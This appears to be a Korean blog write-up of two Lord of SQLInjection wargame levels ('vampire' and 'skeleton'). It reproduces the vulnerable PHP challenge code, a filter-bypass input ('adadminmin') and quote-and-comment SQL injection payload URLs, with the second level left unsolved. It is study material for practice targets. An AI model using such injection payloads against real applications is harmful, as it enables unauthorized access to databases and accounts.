코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); // '이면 걸림
$_GET[id] = strtolower($_GET[id]); // 소문자로 바꿔주기
$_GET[id] = str_replace("admin","",$_GET[id]); //admin을 없애준다.
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire"); //admin일때 풀린다
highlight_file(__FILE__);
?>
https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adadminmin
쉬워 !!!
skeleton
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
prob _ . \ 대소문자 상관없게 를 막아놓았다.
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
1=0은 false이므로 뭘 하든 false로 뜰 것이다.
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton"); //admin일때 풀린다.
highlight_file(__FILE__);
?>
우선 admin으로 로그인해야한다.
"select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
"select id from prob_skeleton where id='guest' and pw=' ' and 1=0";
'or'1'
그럼 뒤에를 무시하면 되겠다.
왜 안되지
"select id from prob_skeleton where id='guest' and pw='' or '1' --' and 1=0";
아 주석 뒤에는 공백이 있어야 한다.
그냥 띄어주면 공백을 먹으니까 %20을 써주자
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw='or'1' --%20
왜 Hello guest가 안뜨지 (지금 생각해보니 트릭인듯 ;;)
여러가지 주석 방법
https://bluehatsecurity.tistory.com/225
;%00을 쓰면 뒷 부분 한 줄은 다 주석이 된다고 한다.
우선 id='admin'까지 하고 다시 생각해보자
'보안공부 > 워게임' 카테고리의 다른 글
dreamhack - proxy-1--진행중 .. (0) | 2021.07.30 |
---|---|
dreamhack-simple ssti (0) | 2021.07.30 |
lordofsql: orge,troll (0) | 2021.07.30 |
Lord of SQLInjection- darkelf (0) | 2021.07.23 |
dreamhack-image-storage (0) | 2021.07.23 |